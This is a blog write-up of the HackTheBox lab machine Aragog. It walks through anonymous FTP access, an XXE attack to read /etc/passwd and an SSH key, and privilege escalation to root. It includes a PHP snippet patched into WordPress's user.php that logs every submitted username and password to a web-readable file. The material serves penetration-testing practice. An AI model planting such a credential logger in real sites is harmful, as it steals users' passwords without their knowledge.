Skip to content
Back to Blog

writeups · 3 min read

WriteUp – Aragog (HackTheBox)

Aragog write-up (HackTheBox): initial scan, XXE exploitation to read SSH keys, user access, WordPress modification to steal admin credentials and escalate to root. Intermediate level with a focus on XXE and creative post-exploitation.

· Pablo Plaza Martínez · writeups

Aragog write-up (HackTheBox): initial scan, XXE exploitation to read SSH keys, user access, WordPress modification to steal admin credentials and escalate to root. Intermediate level with a focus on XXE and creative post-exploitation.

In this post we will see the solution of Aragog, a machine of HacktheBox. It is an intermediate-level Linux machine in which we will exploit a XXE and steal the password of administrator of a Wordpress like in the famous case of Phineas Phiser hacking to the Mossos of Catalonia

Aragog

It is a machine created by Egre55. My Nick in HacktheBox is Ghostpp7. Any doubt, suggestion or improvement you can write me or indicate here in the comments. Now let’s start with the writeup.

As always our first step will be to launch a port scan to analyze the services available.

Of the three services available we find an FTP that allows anonymous access so the first thing we will do is access the files that can contain.

Once obtained this single file we can see that it is an XML structure that for now gives us little information so we will save it.
Our next step will be the analysis of the HTTP Port So we enter getting an Apache by default.

Our next step will be to brute force directories and files with PHP extension becouse it’s an Apache server.

We found a PHP file.

It seems to talk about the hosts on a subnet so racking our brains we came to the conclusion that this PHP may be parsing an XML as one found in the FTP. Knowing this we can try to pass an XML.

As we see that we get a change can be that works, our next step will be to try to extract the passwd file using a XXE.

As it has worked we can take note of two users that exist in the passwd fileFlorian and Cliff. After some tests to get valuable information we access Florian’s RSA.

Once we have the RSA we only have to create the file and access through SSH avoiding the password.

Once inside the ssh we can enumerate all the contents looking for elements of interest and we can even use automatic scripts like LinEnum. Looking in the folder /var/www/html we found another folder that by its content seems to be a Wordpress.

If we try to access from the browser we will find that the links point to a virtualhost so we will have to add the domain to our hosts.

After enumerating the WordPress found a message on the blog that seems to be a great clue.

Cliff tells our user which is Florian that he is going to be logging regularly and will restore the WordPress every X time. If we take a look at this hint and realize we can modify all the WordPress files, we see that we can try to steal the WordPress administrator password. What we will do is modify the user.php where you collect the username and password and export it to a file modifying this code snippet:

 if ( ! empty($_POST['log']) ){ $credentials['user_login'] = $_POST['log']; $uname= $_POST['log'];} if ( ! empty($_POST['pwd']) ){ $credentials['user_password'] = $_POST['pwd']; $passw=$_POST['pwd'];} $nombre_archivo = "/var/www/html/logs.txt"; $archivo = fopen($nombre_archivo, "a"); fwrite($archivo, $uname." ".$passw."\\n"); fclose($archivo); if ( ! empty($_POST['rememberme']) ) $credentials['remember'] = $_POST['rememberme'];


Once obtained the password the first occurrence will be to try it with Cliff because he is the one that posted the message in the Wordpress but not working so we tried with the root user gaining access.

Back to Blog

Related Posts

View All Posts »
WriteUp - Celestial (HackTheBox)

writeups · 2 min

WriteUp - Celestial (HackTheBox)

Write-up of Celestial (HackTheBox). Low-level Linux machine that exploits an insecure cookie deserialisation in Node.js (CVE-2017-16137) to obtain RCE, then escalates to root by abusing a cron job that executes an editable script.

· Manuel López Pérez

WriteUp - Canape (HackTheBox)

writeups · 1 min

WriteUp - Canape (HackTheBox)

Canape write-up (HackTheBox). Intermediate Linux machine that exploits an insecure pickle deserialisation in Flask + CouchDB. Includes RCE via pickle payload, CouchDB enumeration, and escalation to root by abusing sudo pip install.

· Manuel López Pérez

WriteUp - Falafel (HackTheBox)

writeups · 2 min

WriteUp - Falafel (HackTheBox)

Falafel write-up (HackTheBox): High-level Linux machine that exploits SQL injection + PHP type juggling to bypass login, uploads webshell via wget + path truncation, and escalates to root via debugfs in disk group to read /root.

· Manuel López Pérez